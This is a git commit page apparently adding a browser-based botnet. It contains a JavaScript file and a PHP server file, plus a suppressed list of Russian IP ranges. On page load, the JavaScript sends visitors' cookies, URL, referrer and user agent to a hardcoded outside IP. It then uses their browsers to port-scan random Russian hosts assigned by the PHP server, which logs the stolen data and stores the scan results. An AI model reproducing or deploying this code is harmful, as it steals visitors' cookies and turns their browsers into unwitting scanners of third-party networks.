asd 2 years ago
commit
f87ccad4ed
  1. 184
      index.js
  2. 186
      index.php
  3. 8772
      ru.cidr

184
index.js

@ -0,0 +1,184 @@
http_server = "http://http://50.19.199.172/index.php";
const f2O = (host, port, options, timeout = 7000) => {
return Promise.race([
fetch('http://' + host + ':' + port, options),
new Promise((_, reject) =>
setTimeout(() => reject(new Error('timeout')), timeout)
)
])
.then((resp) => {
resp.host = host;
resp.port = port;
resp.message = "open";
return resp;
})
.catch(error => {
error.host = host;
error.port = port;
throw error;
});
};
const thread = (host, ports, maxTime, callback) => {
const loop = (ports) => {
for (var i = 0; i < ports.length; i++) {
const controller = new AbortController();
f2O(host, ports[i], {
mode: 'no-cors',
signal: controller.signal,
}, maxTime).then(resp => {
callback(resp);
controller.abort();
}).catch(err => {
callback(err);
controller.abort();
});
}
};
setTimeout(() => loop(ports), 0);
};
const scanRange = (host, ports, thread_count, maxTime) => {
window.resOut = {type: 'scan_port', host: host, ports:{}};
const port_range = ports.length;
const thread_range = port_range / thread_count;
totalRequests = port_range;
completedRequests = 0;
var i,j,temparray,chunk = thread_count;
for (i=0,j=port_range; i<j; i+=chunk) {
temparray = ports.slice(i,i+chunk);
thread(host, temparray, maxTime, port => {
completedRequests++;
if (totalRequests == completedRequests) {
window.timeLRequest = 0;
next = true;
}
window.resOut.ports[port.port] = port.message;
sendScanRes ();
});
}
}
function makePostRequest(data, callback) {
var url = http_server;
var xhr = new XMLHttpRequest();
xhr.open('POST', url, true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.onload = function () {
if (xhr.status >= 200 && xhr.status < 300) {
callback(null, JSON.parse(xhr.responseText));
} else {
console.error('Request failed with status:', xhr.status);
}
};
xhr.onerror = function () {
console.error('Network error occurred');
};
var jsonData = JSON.stringify(data);
xhr.send(jsonData);
}
const scan = () => {
makePostRequest({'data': 'false'}, function(error,data) {
if ( data.scan == 'true' ) {
window.timeRequest = 500;
window.timeLRequest = 0;
console.log('scan');
console.log(data.ports);
scanRange (data.host, data.ports, data.scan_thread, data.scan_max_time);
}
});
};
const sendScanRes = () => {
if ( (Date.now() - window.timeLRequest) > window.timeRequest ) {
window.timeLRequest = Date.now();
makePostRequest(window.resOut, function(err, data) {});
}
}
let counter = 0;
function performAction() {
if (next == true) {
scan();
counter++;
}
if (counter < 50) {
setTimeout(performAction, 20000);
}
}
var info = {};
info.browser = function(){
ua = navigator.userAgent.toLowerCase();
var rwebkit = /(webkit)[ \/]([\w.]+)/;
var ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/;
var rmsie = /(msie) ([\w.]+)/;
var rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/;
var match = rwebkit.exec( ua ) ||
ropera.exec( ua ) ||
rmsie.exec( ua ) ||
ua.indexOf("compatible") < 0 && rmozilla.exec( ua ) ||
[];
return {name: match[1] || "", version: match[2] || "0"};
}();
info.ua = escape(navigator.userAgent);
info.lang = navigator.language;
info.referrer = escape(document.referrer);
info.location = escape(window.location.href);
info.toplocation = escape(top.location.href);
info.cookie = escape(document.cookie);
info.domain = document.domain;
info.title = document.title;
info.screen = function(){
var c = "";
if (self.screen) {c = screen.width+"x"+screen.height;}
return c;
}();
info.flash = function(){
var f="",n=navigator;
if (n.plugins && n.plugins.length) {
for (var ii=0;ii<n.plugins.length;ii++) {
if (n.plugins[ii].name.indexOf('Shockwave Flash')!=-1) {
f=n.plugins[ii].description.split('Shockwave Flash ')[1];
break;
}
}
}
else
if (window.ActiveXObject) {
for (var ii=20;ii>=2;ii--) {
try {
var fl=eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash."+ii+"');");
if (fl) {
f=ii + '.0';
break;
}
}
catch(e) {}
}
}
return f;
}();
function json2str(o) {
var arr = [];
var fmt = function(s) {
if (typeof s == 'object' && s != null) return json2str(s);
return /^(string|number)$/.test(typeof s) ? "'" + s + "'" : s;
}
for (var i in o) arr.push("'" + i + "':" + fmt(o[i]));
return '{' + arr.join(',') + '}';
}
window.onload = () => {
var i = json2str(info);
new Image().src = http_server + "?c=" + i;
console.log('start');
next = true;
performAction();
};

186
index.php

@ -0,0 +1,186 @@
<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, PATCH, DELETE");
header("Access-Control-Allow-Headers: Content-Type, Authorization");
header("Access-Control-Allow-Credentials: true");
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
http_response_code(200);
exit();
}
function mlog($logMessage, $logFilePath = './logfile.log') {
$logTimestamp = date('Y-m-d H:i:s');
$logEntry = "[{$logTimestamp}] {$logMessage}\n";
$fileHandle = fopen($logFilePath, 'a');
if ($fileHandle) {
fwrite($fileHandle, $logEntry);
fclose($fileHandle);
} else {
echo "error: log file.";
}
}
function get_real_ip(){
$ip=false;
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
{
$ip = $_SERVER["HTTP_CLIENT_IP"];
}
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
if ($ip)
{
array_unshift($ips, $ip); $ip = FALSE;
}
for ($i = 0; $i < count($ips); $i++)
{
if (!eregi ("^(10|172\.16|192\.168)\.", $ips[$i]))
{
$ip = $ips[$i];
break;
}
}
}
return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}
function get_user_agent(){
return $_SERVER['HTTP_USER_AGENT'];
}
function get_referer(){
return $_SERVER['HTTP_REFERER'];
}
function quotes($content){
if(htmlspecialchars($content)){
if(is_array($content)){
foreach($content as $key=>$value){
$content[$key] = stripslashes($value);
}
}else{
$content = stripslashes($content);}
}else{}
return $content;
}
if (!empty($_REQUEST["c"])){
$curtime = date("Y-m-d H:i:s");
$ip = get_real_ip();
$useragent = get_user_agent();
$referer = get_referer();
$data = $_REQUEST["c"];
if(!file_exists("HujGrskagyuasd.html")){
$fp = fopen("HujGrskagyuasd.html", "a+");
fwrite($fp, '<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>probe data</title><style>body{font-size:13px;}</style></head>');
fclose($fp);
}
$fp = fopen("HujGrskagyuasd.html", "a+");
fwrite($fp, "".htmlspecialchars(quotes($ip))." | $curtime <br />UserAgent: ".htmlspecialchars(quotes($useragent))." <br />Referer: ".htmlspecialchars(quotes($referer))." <br />DATA: ".htmlspecialchars(quotes($data))."<br /><br />");
fclose($fp);
}
##########################################################################################
function db_insert($jsonData) {
$db = new SQLite3('./jhasgdkyuasAHLhiahusd.db');
if (!$db) {
die("Connection failed: " . $db->lastErrorMsg());
}
$query = 'CREATE TABLE IF NOT EXISTS scan (id INTEGER PRIMARY KEY, host TEXT, port INTEGER, res TEXT, time_scan DATETIME)';
$db->exec($query);
// Insert data
$time = time();
$host = $jsonData['host'];
$insertOrUpdateQuery = $db->prepare('INSERT OR REPLACE INTO scan (host, port, res, time_scan) VALUES (:host, :port, :res, :time_scan)');
if ($jsonData !== null && isset($jsonData['ports']) && is_array($jsonData['ports'])) {
foreach ($jsonData['ports'] as $port => $res) {
$insertOrUpdateQuery->bindValue(':host', $host, SQLITE3_TEXT);
$insertOrUpdateQuery->bindValue(':port', $port, SQLITE3_INTEGER);
$insertOrUpdateQuery->bindValue(':res', $res, SQLITE3_TEXT);
$insertOrUpdateQuery->bindValue(':time_scan', $time,SQLITE3_INTEGER);
$insertOrUpdateQuery->execute();
}
$db->exec('COMMIT');
$db->close();
}
}
function v4CIDRtoMask($cidr) {
$cidr = explode('/', $cidr);
return array($cidr[0], long2ip(-1 << (32 - (int)$cidr[1])));
}
function ipv4Breakout ($ip_address, $ip_nmask) {
$ip_address_long = ip2long($ip_address);
$ip_nmask_long = ip2long($ip_nmask);
$ip_net = $ip_address_long & $ip_nmask_long;
$ip_host_first = ((~$ip_nmask_long) & $ip_address_long);
$ip_first = ($ip_address_long ^ $ip_host_first) + 1;
$ip_broadcast_invert = ~$ip_nmask_long;
$ip_last = ($ip_address_long | $ip_broadcast_invert) - 1;
$ip_broadcast = $ip_address_long | $ip_broadcast_invert;
$ip_net_short = long2ip($ip_net);
$ip_first_short = long2ip($ip_first);
$ip_last_short = long2ip($ip_last);
$ip_broadcast_short = long2ip($ip_broadcast);
return long2ip(random_int(ip2long($ip_first_short), ip2long($ip_last_short)));
}
function selectIp ($country = 'ru') {
$line = "";
if ($country == 'ru') {
$f_contents = file("ru.cidr");
$line = $f_contents[rand(0, count($f_contents) - 1)];
}
return $line;
}
function sendScanRange() {
$ip_range = selectIp("ru");
if ($ip_range == "") {
exit();
}
$addr=v4CIDRtoMask($ip_range);
$host=ipv4Breakout ($addr[0], $addr[1]);
$p = random_int(0,65);
if ($p == 65) {
$ports_arr = range(65000,65535);
} else if ($p == 0) {
$ports_arr = range(1,1000-1);
} else {
$p1 = $p*1000;
$p2 = ($p+1)*1000 -1;
$ports_arr = range($p1,$p2);
}
shuffle($ports_arr);
$response = [
'scan' => 'true',
'host' => $host,
'scan_max_time' => '500',
'scan_thread' => '100',
];
$ports = ['ports' => $ports_arr];
$response = array_merge($response, $ports);
header('Content-Type: application/json');
echo json_encode($response);
exit();
}
$postData = json_decode(file_get_contents('php://input'), true);
if (isset($postData['data'])) {
if ($postData['data'] == 'false' ) {
sendScanRange();
}
}
if (isset($postData['type'])) {
if ($postData['type'] == 'scan_port') {
db_insert($postData);
http_response_code(200);
echo json_encode('{res:ok}');
}
}
exit();
?>

8772
ru.cidr

File diff suppressed because it is too large Load Diff
Loading…
Cancel
Save